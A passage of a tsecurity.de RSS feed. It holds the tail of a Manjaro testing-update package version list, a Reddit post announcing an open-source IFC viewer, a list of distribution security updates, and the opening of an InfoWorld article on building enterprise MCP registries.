                          rubberband              4.0.0-1              4.0.0-2
                   rubberband-ladspa              4.0.0-1              4.0.0-2
                      rubberband-lv2              4.0.0-1              4.0.0-2
                     rubberband-vamp              4.0.0-1              4.0.0-2
                    ruby-addressable              2.8.8-1              2.8.9-1
                          ruby-async             2.34.0-1             2.38.1-1
                ruby-async-container             0.31.0-1             0.34.4-1
                     ruby-async-pool             0.11.1-1             0.11.2-1
                  ruby-async-service             0.19.1-1             0.21.0-1
                     ruby-chef-utils            19.2.27-1            19.2.32-1
                ruby-google-protobuf               33.1-4               34.1-1
                           ruby-grpc             1.78.1-1             1.80.0-1
                       ruby-io-event             1.14.2-1             1.14.5-1
                         ruby-loofah             2.25.0-1             2.25.1-1
                            ruby-lsp             0.26.6-1             0.26.9-1
                       ruby-maxitest              6.1.0-1              6.2.0-1
            ruby-net-http-persistent              4.0.7-1              4.0.8-1
                  ruby-protocol-http             0.59.0-1             0.60.0-1
                  ruby-protocol-rack             0.21.1-1             0.22.0-1
                  ruby-public_suffix              7.0.2-1              7.0.5-1
           ruby-rails-html-sanitizer              1.6.2-3              1.7.0-1
            ruby-repl_type_completor             0.1.13-1             0.1.15-1
                         ruby-sequel             5.99.0-1            5.101.0-1
                 ruby-sorbet-runtime          0.6.12942-1          0.6.13068-1
                        ruby-sqlite3              2.9.1-1              2.9.2-1
        ruby-sus-fixtures-async-http             0.12.0-1             0.12.1-1
                       ruby-zeitwerk              2.7.3-1              2.7.5-1
                      rustypaste-cli              0.9.4-1              0.9.5-1
                           rz-cutter              2.4.1-5              2.4.1-6
                                sbcl              2.6.2-1              2.6.3-1
                           scap-dkms             0.20.0-9             0.23.1-1
                             scummvm           2026.1.0-1           2026.2.0-1
                          sentry-cli              3.3.4-1              3.3.5-1
                       sentry-native             0.13.3-1             0.13.4-1
                               sfizz              1.2.3-8             1.2.3-10
                           sfizz-lib              1.2.3-8             1.2.3-10
                           sfizz-lv2             1.2.3-12             1.2.3-13
                    sfizz-standalone              1.2.3-8             1.2.3-10
                            sfizz-ui             1.2.3-12             1.2.3-13
                          sfizz-vst3             1.2.3-12             1.2.3-13
                         shadowsocks    3.0.0a.20180219-9                    -
                          shellcheck            0.11.0-79            0.11.0-81
                            skaffold             2.18.0-1             2.18.2-1
                                skim              4.0.1-1              4.2.0-1
                         slicer-udev              2.9.4-7              2.9.4-8
                            smplayer             25.6.0-1             25.6.0-2
                            soapyuhd             0.4.1-14             0.4.1-15
                      spotify-player             0.22.1-1             0.23.0-1
                           sqlcipher             4.13.0-1             4.14.0-1
                            sqlfluff              4.0.4-2              4.1.0-1
                             sslscan              2.2.1-1              2.2.2-1
                               stack          2.9.3.1-118          2.9.3.1-123
                             step-ca             0.29.0-1             0.30.2-1
                          strongswan              6.0.4-2              6.0.5-1
                             stumpwm              24.11-9             24.11-10
                     stylish-haskell          0.14.5.0-11          0.14.5.0-13
                               swtpm             0.10.1-1             0.10.1-2
                                 syd             3.51.0-1             3.51.2-1
                           syslog-ng             4.11.0-1             4.11.0-2
                      syslog-ng-amqp             4.11.0-1             4.11.0-2
                    syslog-ng-geoip2             4.11.0-1             4.11.0-2
                     syslog-ng-kafka             4.11.0-1             4.11.0-2
                   syslog-ng-mongodb             4.11.0-1             4.11.0-2
                    syslog-ng-python             4.11.0-1             4.11.0-2
                     syslog-ng-redis             4.11.0-1             4.11.0-2
                      syslog-ng-smtp             4.11.0-1             4.11.0-2
                      syslog-ng-snmp             4.11.0-1             4.11.0-2
                       syslog-ng-sql             4.11.0-1             4.11.0-2
                             systing              1.0.0-1              1.0.0-2
                            taffybar             4.1.0-13             4.1.0-18
                      tamarin-prover            1.12.0-10            1.12.0-14
                     taskwarrior-tui             0.26.7-1             0.26.8-1
                     tauon-music-box              9.1.1-1              9.1.2-1
                    telegram-desktop              6.6.4-6              6.6.4-7
                          terragrunt             0.99.4-2             0.99.5-1
                              thunar             4.20.7-1             4.20.8-1
                         thunderbird              149.0-1            149.0.1-1
                 thunderbird-i18n-af              149.0-1            149.0.1-1
                 thunderbird-i18n-ar              149.0-1            149.0.1-1
                thunderbird-i18n-ast              149.0-1            149.0.1-1
                 thunderbird-i18n-be              149.0-1            149.0.1-1
                 thunderbird-i18n-bg              149.0-1            149.0.1-1
                 thunderbird-i18n-br              149.0-1            149.0.1-1
                 thunderbird-i18n-ca              149.0-1            149.0.1-1
                thunderbird-i18n-cak              149.0-1            149.0.1-1
                 thunderbird-i18n-cs              149.0-1            149.0.1-1
                 thunderbird-i18n-cy              149.0-1            149.0.1-1
                 thunderbird-i18n-da              149.0-1            149.0.1-1
                 thunderbird-i18n-de              149.0-1            149.0.1-1
                thunderbird-i18n-dsb              149.0-1            149.0.1-1
                 thunderbird-i18n-el              149.0-1            149.0.1-1
              thunderbird-i18n-en-gb              149.0-1            149.0.1-1
              thunderbird-i18n-en-us              149.0-1            149.0.1-1
              thunderbird-i18n-es-ar              149.0-1            149.0.1-1
              thunderbird-i18n-es-es              149.0-1            149.0.1-1
                 thunderbird-i18n-et              149.0-1            149.0.1-1
                 thunderbird-i18n-eu              149.0-1            149.0.1-1
                 thunderbird-i18n-fi              149.0-1            149.0.1-1
                 thunderbird-i18n-fr              149.0-1            149.0.1-1
              thunderbird-i18n-fy-nl              149.0-1            149.0.1-1
              thunderbird-i18n-ga-ie              149.0-1            149.0.1-1
                 thunderbird-i18n-gd              149.0-1            149.0.1-1
                 thunderbird-i18n-gl              149.0-1            149.0.1-1
                 thunderbird-i18n-he              149.0-1            149.0.1-1
                 thunderbird-i18n-hr              149.0-1            149.0.1-1
                thunderbird-i18n-hsb              149.0-1            149.0.1-1
                 thunderbird-i18n-hu              149.0-1            149.0.1-1
              thunderbird-i18n-hy-am              149.0-1            149.0.1-1
                 thunderbird-i18n-id              149.0-1            149.0.1-1
                 thunderbird-i18n-is              149.0-1            149.0.1-1
                 thunderbird-i18n-it              149.0-1            149.0.1-1
                 thunderbird-i18n-ja              149.0-1            149.0.1-1
                 thunderbird-i18n-ka              149.0-1            149.0.1-1
                thunderbird-i18n-kab              149.0-1            149.0.1-1
                 thunderbird-i18n-kk              149.0-1            149.0.1-1
                 thunderbird-i18n-ko              149.0-1            149.0.1-1
                 thunderbird-i18n-lt              149.0-1            149.0.1-1
                 thunderbird-i18n-ms              149.0-1            149.0.1-1
              thunderbird-i18n-nb-no              149.0-1            149.0.1-1
                 thunderbird-i18n-nl              149.0-1            149.0.1-1
              thunderbird-i18n-nn-no              149.0-1            149.0.1-1
              thunderbird-i18n-pa-in              149.0-1            149.0.1-1
                 thunderbird-i18n-pl              149.0-1            149.0.1-1
              thunderbird-i18n-pt-br              149.0-1            149.0.1-1
              thunderbird-i18n-pt-pt              149.0-1            149.0.1-1
                 thunderbird-i18n-rm              149.0-1            149.0.1-1
                 thunderbird-i18n-ro              149.0-1            149.0.1-1
                 thunderbird-i18n-ru              149.0-1            149.0.1-1
                 thunderbird-i18n-sk              149.0-1            149.0.1-1
                 thunderbird-i18n-sl              149.0-1            149.0.1-1
                 thunderbird-i18n-sq              149.0-1            149.0.1-1
                 thunderbird-i18n-sr              149.0-1            149.0.1-1
              thunderbird-i18n-sv-se              149.0-1            149.0.1-1
                 thunderbird-i18n-th              149.0-1            149.0.1-1
                 thunderbird-i18n-tr              149.0-1            149.0.1-1
                 thunderbird-i18n-uk              149.0-1            149.0.1-1
                 thunderbird-i18n-uz              149.0-1            149.0.1-1
                 thunderbird-i18n-vi              149.0-1            149.0.1-1
              thunderbird-i18n-zh-cn              149.0-1            149.0.1-1
              thunderbird-i18n-zh-tw              149.0-1            149.0.1-1
                         timescaledb             2.26.0-1             2.26.1-1
             timescaledb-old-upgrade             2.26.0-1             2.26.1-1
                       tokio-console             0.1.14-1             0.1.14-2
                             traefik             3.6.11-1             3.6.12-1
                                tree              2.3.1-1              2.3.2-1
                             udiskie              2.6.1-1              2.6.2-1
                         udisks2-qt5              5.0.6-2                    -
              ultramaster-kr106-clap              2.4.4-1            2.4.6.1-1
               ultramaster-kr106-lv2              2.4.4-1            2.4.6.1-1
              ultramaster-kr106-vst3              2.4.4-1            2.4.6.1-1
                               usage             2.18.2-1              3.2.0-1
                            usbguard              1.1.4-4              1.1.4-5
                                vala            0.56.18-5            0.56.19-1
                             vcspull             1.58.0-1             1.58.1-1
                    vhba-module-dkms          20250329-70          20250329-71
                                 vim           9.2.0204-2           9.2.0272-1
                         vim-runtime           9.2.0204-2           9.2.0272-1
                                 vis 0.9.r397.gda84fe70-1 0.9.r399.g1a4fb0fd-1
             vis-syntax-highlighting 0.9.r397.gda84fe70-1 0.9.r399.g1a4fb0fd-1
                                 vlc             3.0.22-1             3.0.22-2
                             vlc-cli             3.0.22-1             3.0.22-2
                     vlc-gui-ncurses             3.0.22-1             3.0.22-2
                          vlc-gui-qt             3.0.22-1             3.0.22-2
                      vlc-gui-skins2             3.0.22-1             3.0.22-2
                   vlc-plugin-a52dec             3.0.22-1             3.0.22-2
                    vlc-plugin-aalib             3.0.22-1             3.0.22-2
                     vlc-plugin-alsa             3.0.22-1             3.0.22-2
                      vlc-plugin-aom             3.0.22-1             3.0.22-2
                  vlc-plugin-archive             3.0.22-1             3.0.22-2
                  vlc-plugin-aribb24             3.0.22-1             3.0.22-2
                  vlc-plugin-aribb25             3.0.22-1             3.0.22-2
                      vlc-plugin-ass             3.0.22-1             3.0.22-2
                    vlc-plugin-avahi             3.0.22-1             3.0.22-2
                   vlc-plugin-bluray             3.0.22-1             3.0.22-2
                     vlc-plugin-caca             3.0.22-1             3.0.22-2
                     vlc-plugin-cddb             3.0.22-1             3.0.22-2
               vlc-plugin-chromecast             3.0.22-1             3.0.22-2
                    vlc-plugin-dav1d             3.0.22-1             3.0.22-2
                     vlc-plugin-dbus             3.0.22-1             3.0.22-2
         vlc-plugin-dbus-screensaver             3.0.22-1             3.0.22-2
                      vlc-plugin-dca             3.0.22-1             3.0.22-2
                      vlc-plugin-dvb             3.0.22-1             3.0.22-2
                      vlc-plugin-dvd             3.0.22-1             3.0.22-2
                    vlc-plugin-faad2             3.0.22-1             3.0.22-2
                   vlc-plugin-ffmpeg             3.0.22-1             3.0.22-2
                 vlc-plugin-firewire             3.0.22-1             3.0.22-2
                     vlc-plugin-flac             3.0.22-1             3.0.22-2
               vlc-plugin-fluidsynth             3.0.22-1             3.0.22-2
                 vlc-plugin-freetype             3.0.22-1             3.0.22-2
                      vlc-plugin-gme             3.0.22-1             3.0.22-2
                   vlc-plugin-gnutls             3.0.22-1             3.0.22-2
                vlc-plugin-gstreamer             3.0.22-1             3.0.22-2
                  vlc-plugin-inflate             3.0.22-1             3.0.22-2
                     vlc-plugin-jack             3.0.22-1             3.0.22-2
                  vlc-plugin-journal             3.0.22-1             3.0.22-2
                     vlc-plugin-jpeg             3.0.22-1             3.0.22-2
                     vlc-plugin-kate             3.0.22-1             3.0.22-2
                  vlc-plugin-kwallet             3.0.22-1             3.0.22-2
                vlc-plugin-libsecret             3.0.22-1             3.0.22-2
                     vlc-plugin-lirc             3.0.22-1             3.0.22-2
                  vlc-plugin-live555             3.0.22-1             3.0.22-2
                      vlc-plugin-lua             3.0.22-1             3.0.22-2
                      vlc-plugin-mad             3.0.22-1             3.0.22-2
                 vlc-plugin-matroska             3.0.22-1             3.0.22-2
                     vlc-plugin-mdns             3.0.22-1             3.0.22-2
                  vlc-plugin-modplug             3.0.22-1             3.0.22-2
                    vlc-plugin-mpeg2             3.0.22-1             3.0.22-2
                   vlc-plugin-mpg123             3.0.22-1             3.0.22-2
                      vlc-plugin-mtp             3.0.22-1             3.0.22-2
                 vlc-plugin-musepack             3.0.22-1             3.0.22-2
                      vlc-plugin-nfs             3.0.22-1             3.0.22-2
                   vlc-plugin-notify             3.0.22-1             3.0.22-2
                      vlc-plugin-ogg             3.0.22-1             3.0.22-2
                     vlc-plugin-opus             3.0.22-1             3.0.22-2
                      vlc-plugin-png             3.0.22-1             3.0.22-2
                    vlc-plugin-pulse             3.0.22-1             3.0.22-2
                vlc-plugin-quicksync             3.0.22-1             3.0.22-2
               vlc-plugin-samplerate             3.0.22-1             3.0.22-2
                      vlc-plugin-sdl             3.0.22-1             3.0.22-2
                     vlc-plugin-sftp             3.0.22-1             3.0.22-2
                    vlc-plugin-shout             3.0.22-1             3.0.22-2
                      vlc-plugin-smb             3.0.22-1             3.0.22-2
                     vlc-plugin-soxr             3.0.22-1             3.0.22-2
                    vlc-plugin-speex             3.0.22-1             3.0.22-2
                      vlc-plugin-srt             3.0.22-1             3.0.22-2
                      vlc-plugin-svg             3.0.22-1             3.0.22-2
                      vlc-plugin-tag             3.0.22-1             3.0.22-2
                   vlc-plugin-theora             3.0.22-1             3.0.22-2
                  vlc-plugin-twolame             3.0.22-1             3.0.22-2
                     vlc-plugin-udev             3.0.22-1             3.0.22-2
                     vlc-plugin-upnp             3.0.22-1             3.0.22-2
                   vlc-plugin-vorbis             3.0.22-1             3.0.22-2
                      vlc-plugin-vpx             3.0.22-1             3.0.22-2
                     vlc-plugin-x264             3.0.22-1             3.0.22-2
                     vlc-plugin-x265             3.0.22-1             3.0.22-2
                      vlc-plugin-xml             3.0.22-1             3.0.22-2
                     vlc-plugin-zvbi             3.0.22-1             3.0.22-2
                     vlc-plugins-all             3.0.22-1             3.0.22-2
                    vlc-plugins-base             3.0.22-1             3.0.22-2
                   vlc-plugins-extra             3.0.22-1             3.0.22-2
            vlc-plugins-video-output             3.0.22-1             3.0.22-2
           vlc-plugins-visualization             3.0.22-1             3.0.22-2
                              vmexec              0.4.0-1              0.5.2-1
                                vpnc  1:0.5.3.r539.r239-1  1:0.5.3.r557.r241-1
                         warzone2100              4.6.3-2              4.6.3-3
                           watchexec              2.5.0-1              2.5.1-1
             webrtc-audio-processing                2.1-5                2.1-6
                         wireplumber             0.5.13-2             0.5.14-1
                    wireplumber-docs             0.5.13-2             0.5.14-1
                       wireshark-cli              4.6.4-1              4.6.4-2
                        wireshark-qt              4.6.4-1              4.6.4-2
              xdg-desktop-portal-dde             1.0.13-7             1.0.14-1
                           xdp-tools              1.6.2-1              1.6.3-1
                           xfdesktop             4.20.1-3             4.20.2-1
                              xmobar             0.50-137             0.50-141
                              xmonad           0.18.0-154           0.18.0-156
                      xmonad-contrib           0.18.1-138           0.18.1-140
                         xmonad-dbus          0.1.0.2-240          0.1.0.2-243
                       xmonad-extras             0.17.3-6             0.17.3-9
                      xorg-setxkbmap              1.3.4-2              1.3.5-1
                                 xrt          1:2.21.75-5          1:2.21.75-6
                          xtrabackup            8.4.0_5-1            8.4.0_5-2
                                  z3             4.15.4-2             4.16.0-1
                             z3-java             4.15.4-2             4.16.0-1
                             zathura         2026.02.22-1         2026.03.27-1
                          zathura-cb         2026.02.03-3         2026.02.03-4
                        zathura-djvu         2026.02.03-3         2026.02.03-4
                   zathura-pdf-mupdf         2026.02.03-5         2026.02.03-6
                 zathura-pdf-poppler         2026.02.03-3         2026.02.03-4
                          zathura-ps         2026.02.03-3         2026.02.03-4
                              zettlr              4.3.0-1              4.3.1-1
                              zypper            1.14.95-1            1.14.95-2
                            ares-emu                    -                147-2
                             diffoci                    -              0.1.8-1
                         govulncheck                    -              1.1.4-1
                       libkysdk-base                    -            3.0.1.0-1
                         librashader                    -             0.10.1-2
                       python-podman                    -              5.8.0-2
                        python-pylxd                    -              2.4.0-2
                        python-ws4py                    -              0.6.0-4
                         udisks2-qt6                    -              6.0.1-1


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                         lib32-clang             22.1.1-1             22.1.2-1
              lib32-gst-plugins-base             1.28.1-2             1.28.1-3
         lib32-gst-plugins-base-libs             1.28.1-2             1.28.1-3
              lib32-gst-plugins-good             1.28.1-2             1.28.1-3
                     lib32-gstreamer             1.28.1-2             1.28.1-3
                        lib32-libvpx             1.15.2-2             1.16.0-2
                          lib32-llvm           1:22.1.1-1           1:22.1.2-1
                     lib32-llvm-libs           1:22.1.1-1           1:22.1.2-1
</code></pre>
<p><a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
<hr>
            <p><small>2 posts - 2 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Open Source IFC viewer]]></title>
<description><![CDATA[I wrote an open source IFC viewer (open file format for construction purposes) that works on both Linux and Windows from the same code base. The UI is built on PyQt6, which then kicks off a nodejs/wasm process to extract data and geometry using WebIFC. The geometry is presented with three.js and ...]]></description>
<link>https://tsecurity.de/de/3394695/linux-tipps/open-source-ifc-viewer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3394695/linux-tipps/open-source-ifc-viewer/</guid>
<pubDate>Tue, 31 Mar 2026 04:07:53 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I wrote an open source IFC viewer (open file format for construction purposes) that works on both Linux and Windows from the same code base. The UI is built on PyQt6, which then kicks off a nodejs/wasm process to extract data and geometry using WebIFC. The geometry is presented with three.js and displayed in the UI using a webview component.</p> <p>This is still a dev preview, but work is well on its way to turn this into something useful.</p> <p>The design intent was to make an IFC viewer that's cross-platform, performs as fast as possible and to be extensible. I'm currently working on the API part, but right now it's already a very fast and simple viewer that can potentially work as the backbone for someone's future planning- and cost estimation solution.</p> <p>If you're interested, you can visit the repo on <a href="https://github.com/BIMtuitive/ifc-file-companion">https://github.com/BIMtuitive/ifc-file-companion</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Clogboy82"> /u/Clogboy82 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1s7vo1g/open_source_ifc_viewer/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1s7vo1g/open_source_ifc_viewer/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (freerdp, golang, and ncurses), Debian (asterisk, bind9, gst-plugins-base1.0, gst-plugins-ugly1.0, gvfs, incus, libxml-parser-perl, nodejs, php-phpseclib, php-phpseclib3, phpseclib, and strongswan), Fedora (bcftools, bind, bind-dyndb-ldap, chromium, ...]]></description>
<link>https://tsecurity.de/de/3393152/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3393152/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 30 Mar 2026 15:11:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (freerdp, golang, and ncurses), <b>Debian</b> (asterisk, bind9, gst-plugins-base1.0, gst-plugins-ugly1.0, gvfs, incus, libxml-parser-perl, nodejs, php-phpseclib, php-phpseclib3, phpseclib, and strongswan), <b>Fedora</b> (bcftools, bind, bind-dyndb-ldap, chromium, dotnet10.0, dotnet8.0, dotnet9.0, giflib, htslib, libsoup3, libtasn1, maturin, mingw-expat, mingw-freetype, mongo-c-driver, perl-XML-Parser, php-phpseclib, php-phpseclib3, pypy, pypy3.10, pypy3.11, python-cryptography, python-fastar, python-ply, python-pycparser, python-uv-build, python3.11, python3.12, python3.13, python3.6, roundcubemail, rubygem-json, rust-ambient-id, rust-astral-reqwest-middleware, rust-astral-reqwest-retry, rust-astral-tokio-tar, rust-astral_async_http_range_reader, rust-cargo-c, rust-ingredients, rust-native-tls, rust-nix, rust-openssl-probe, rust-openssl-probe0.1, rust-pty-process, rust-reqsign, rust-reqsign-aliyun-oss, rust-reqsign-aws-v4, rust-reqsign-azure-storage, rust-reqsign-command-execute-tokio, rust-reqsign-core, rust-reqsign-file-read-tokio, rust-reqsign-google, rust-reqsign-http-send-reqwest, rust-reqsign-huaweicloud-obs, rust-reqsign-tencent-cos, rust-rustls-native-certs, rust-sequoia-chameleon-gnupg, rust-tar, rust-webpki-root-certs, rustup, samtools, suricata, uv, and vim), <b>Mageia</b> (cmake, libpng, nodejs, python-ujson, and strongswan), <b>Red Hat</b> (python3 and python3.9), <b>SUSE</b> (389-ds, amazon-cloudwatch-agent, capstone, chromium, containerd, cosign, curl, docker-compose, docker-stable, exiv2, expat, firefox, freeipmi, freerdp, gimp, glusterfs, govulncheck-vulndb, gstreamer-plugins-ugly, jupyter-bqplot-jupyterlab, jupyter-jupyterlab-templates, jupyter-matplotlib, kea, kernel, libsodium, libtpms-devel, LibVNCServer, nghttp2, nginx, poppler, python-dynaconf, python-ldap, python-nltk, python-orjson, python-pyasn1, python-pydicom, python-PyJWT, python-pyopenssl, python-tornado6, python311, python311-cbor2, python311-deepdiff, python311-intake, python311-jsonpath-ng, python311-lmdb, python311-oci-sdk, python312, rclone, redis, salt, tomcat11, v2ray-core, and vim), and <b>Ubuntu</b> (linux-ibm-5.4).]]></content:encoded>
</item>
<item>
<title><![CDATA[How to build an enterprise-grade MCP registry]]></title>
<description><![CDATA[Just as integration catalogs were must-haves at the peak of SaaS, Model Context Protocol (MCP) servers are now becoming all the rage for connecting AI agents and enterprise systems. 



In this paradigm, developers aren’t hand-coding API calls to external systems, nor are users clicking “click to...]]></description>
<link>https://tsecurity.de/de/3392428/ai-nachrichten/how-to-build-an-enterprise-grade-mcp-registry/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3392428/ai-nachrichten/how-to-build-an-enterprise-grade-mcp-registry/</guid>
<pubDate>Mon, 30 Mar 2026 11:17:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Just as integration catalogs were must-haves at the peak of SaaS, <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> (MCP) servers are now becoming all the rage for connecting AI agents and enterprise systems. </p>



<p>In this paradigm, developers aren’t hand-coding API calls to external systems, nor are users clicking “click to integrate” and entering credentials into GUIs. Instead, agentic systems are looking up available <a href="https://www.infoworld.com/article/4096223/10-mcp-servers-for-devops.html">MCP servers</a> and making <a href="https://thenewstack.io/how-to-reduce-mcp-token-bloat/">MCP tool calls</a> autonomously. To guide this process, MCP registries are emerging as a way to catalog available MCP servers and guide <a href="https://www.infoworld.com/article/4035926/multi-agent-ai-workflows-the-next-evolution-of-ai-coding.html">AI agent workflows</a>.</p>



<p>“MCP registries are increasingly becoming the integration catalog for agentic systems,” says <a href="https://www.linkedin.com/in/ebrahim-alareqi-1b570048/">Ebrahim Alareqi</a>, principal machine learning engineer at <a href="https://www.incorta.com/">Incorta</a>, provider of an open data delivery platform. “They give developers and platform teams a centralized inventory of the tools, agents, and capabilities available to an organization.”</p>



<p>MCP registries shorten time to integration and act as a discovery point for <a href="https://www.infoworld.com/article/4091400/anatomy-of-an-ai-agent-knowledge-base.html">AI agents</a>. But whether you’re repurposing an off-the-shelf MCP registry or building your own, the job comes with daunting technical challenges, like figuring out semantics for tool discovery and adding in guardrails for safe autonomous usage.</p>



<p>“A good MCP registry is more than a directory of tools,” says <a href="https://www.linkedin.com/in/derekashmore/">Derek Ashmore</a>, agentic AI enablement principal at <a href="https://www.asperitas.consulting/">Asperitas Consulting</a>, a cloud computing consultancy. “It’s part of your control plane.” For Ashmore, an MCP registry needs strong identity and discovery, policy-aware metadata, life-cycle controls, security guardrails, and data to inform observability.</p>



<p>Below, we’ll dive deeper into what makes up a solid, functional MCP registry. We’ll explore the features and requirements of MCP registries, examine the emerging implementation advice for enterprises, and determine when you should use private versus public MCP registries.</p>



<h2 class="wp-block-heading">What is an MCP registry?</h2>



<p>An MCP registry acts as a single source of truth for MCP servers. It’s a catalog of approved, compliant MCP servers and MCP tools that are available within an organization that can be exposed to AI agents. By pointing AI agents to an MCP registry endpoint, an enterprise can equip AI workflows with actionable read-write access across engineering, business, and SaaS systems that are sanctioned and configured for company use.</p>



<p>To date, there are a handful of public <a href="https://nordicapis.com/7-mcp-registries-worth-checking-out/">MCP registries</a> out there, ranging from open directories to curated registries and more enterprise-ready implementations. The most obvious example is the <a href="https://github.com/modelcontextprotocol/registry">official MCP Registry</a>, an open-source catalog of MCP servers with a live <a href="https://nordicapis.com/getting-started-with-the-official-mcp-registry-api/">REST API</a> for search and discovery. The official MCP registry aligns with the <a href="https://github.com/modelcontextprotocol/registry">MCP registry specification</a>, which provides a standardized method to build interoperable MCP registries.</p>



<p>Other public resources are more like static lists, such as directories from <a href="http://mcp.so/">MCP.so</a>, to <a href="https://glama.ai/mcp/servers">Glama.ai</a>, <a href="https://mastra.ai/mcp-registry-registry">Mastra.ai</a>, and <a href="https://opentools.com/registry">OpenTools</a>. Interestingly, one open-source tool, <a href="https://mcp-get.com/">MCP-Get</a>, provides a command-line option for interaction.</p>



<p>More and more digital services are beginning to embed MCP catalogs into their platforms, too. <a href="https://github.com/docker/mcp-registry?utm_source=chatgpt.com">Docker</a> and <a href="https://github.com/microsoft/mcp">Microsoft</a>, for instance, are building curated MCP catalogs focused on their own platform ecosystems. GitHub hosts a <a href="https://github.com/mcp">directory of MCP servers</a> for easy installation, and has begun to add controls for internal registry configurations. <a href="https://machalliance.org/mcp-servers-directory">The MACH Alliance</a>, an industry consortium focused on composable commerce, is also promoting an MCP-compliant registry initiative.</p>



<p>Beyond these efforts, MCP registries are moving beyond public directories — enterprises are now constructing private, self-hosted registries for governed internal MCP use. While examples of private enterprise MCP registries are nascent, they are undoubtedly being aided by emerging features in infrastructure platforms.</p>



<p>Take <a href="https://mcp.azure.com/">the MCP Center</a>, powered by the Azure API Center, which demonstrates how to build MCP registries in Azure. Lunar.dev’s <a href="https://docs.lunar.dev/mcpx/custom_registry/">Custom MCP Server Registry</a> also allows admins to create their own scoped internal MCP registries.</p>



<h2 class="wp-block-heading">The benefits of an MCP registry</h2>



<p>“The biggest benefit of an MCP registry is discoverability,” says <a href="https://www.linkedin.com/in/justin-o-connor-67376483/">Justin O’Connor</a>, founder at <a href="https://infracodebase.com/">Infracodebase</a>, an agentic platform for cloud infrastructure, which hosts a <a href="https://infracodebase.com/registry">public MCP registry</a> for connecting AI agents to cloud providers.</p>



<p>“MCP servers often end up scattered across teams and systems, so a registry gives you one clear place where people can find what exists,” says O’Connor. This allows AI agents to discover tools with less trial and error.</p>



<p>Others agree that improved discovery is a much-needed element for <a href="https://www.cio.com/article/4123497/what-cios-in-finance-do-to-navigate-ai-agents.html">autonomous agents</a>. “MCP is designed to ensure agents have enough context to generate the right response, and registries are a natural extension of that,” says Incorta’s Alareqi.</p>



<p>A well-constructed MCP registry brings uniformity that aids adoption, reuse, and <a href="https://www.infoworld.com/article/3529600/how-do-you-govern-a-sprawling-disparate-api-portfolio.html">governance</a>, says O’Connor, because it can be treated as an official inventory of approved capabilities. As such, MCP registries serve a similar function to package registries for software, he adds. </p>



<p>In this way, an MCP registry can act as a source to vet and update MCP servers before exposing them to agents. Although an MCP registry doesn’t replace core authentication requirements for each MCP server, it does aid provenance and <a href="https://www.cio.com/article/3615770/how-resilient-cios-future-proof-to-mitigate-risks.html">supply chain security</a>, says O’Connor.</p>



<h2 class="wp-block-heading">Core elements of an enterprise-grade MCP registry</h2>



<p>While they share similarities with traditional software integration catalogs, MCP registries have some unique elements. “If you are treating the AI or MCP registry as just another static catalog, you’re doing it wrong,” says <a href="https://www.linkedin.com/in/ceposta/">Christian Posta</a>, VP and global field CTO at <a href="http://solo.io/">Solo.io</a>, a cloud-native infrastructure company.</p>



<p>Many elements make up a high-quality MCP registry beyond a static tool catalog. In general, they can be boiled down to rich tool metadata, features for developers, and enhanced security guardrails. The effectiveness of an MCP registry will also depend on underlying MCP and API security best practices.</p>



<h3 class="wp-block-heading">Rich tool metadata</h3>



<p>First, an MCP registry needs the bread-and-butter details required to function with MCP. “A solid MCP registry needs to support the basics required by the protocol,” says O’Connor of Infracodebase. This includes how to connect to a server, the transport type, server URL, and configurations required, like environment variables or secrets.</p>



<p>Next are details to aid tool discovery. An MCP registry must provide methods for AI agents to automatically discover the appropriate underlying MCP tools. </p>



<p>According to Posta, making tools discoverable requires resources that enable semantic search, such as embeddings of the tool name, description, and input schema, along with clear summaries. Ideally, he adds, this experience layer supports progressive disclosure to optimize context windows.</p>



<p>“Agents need context,” adds Incorta’s Alareqi. “Metadata around capabilities, schemas, side effects, cost, latency, and failure modes, to name a few, is what allows an agent to choose the right tool.”</p>



<p><a href="https://www.linkedin.com/in/william-collins/">William Collins</a>, director of tech evangelism at <a href="https://www.itential.com/">Itential</a>, provider of an infrastructure orchestration platform, also sees semantic cues as necessary for discovery, along with other metadata. These should flag rich semantic metadata beyond endpoint descriptions, versioning with breaking-change signaling, and clear capability scoping, he says.</p>



<h3 class="wp-block-heading">Developer controls</h3>



<p>Although agents will use MCP registries programmatically, the registries still must be maintained by human developers (most likely by <a href="https://www.infoworld.com/article/4064273/8-platform-engineering-anti-patterns.html">platform engineers</a>). The MCP registry should therefore provide controls to add new servers, remove them, and set privileges.</p>



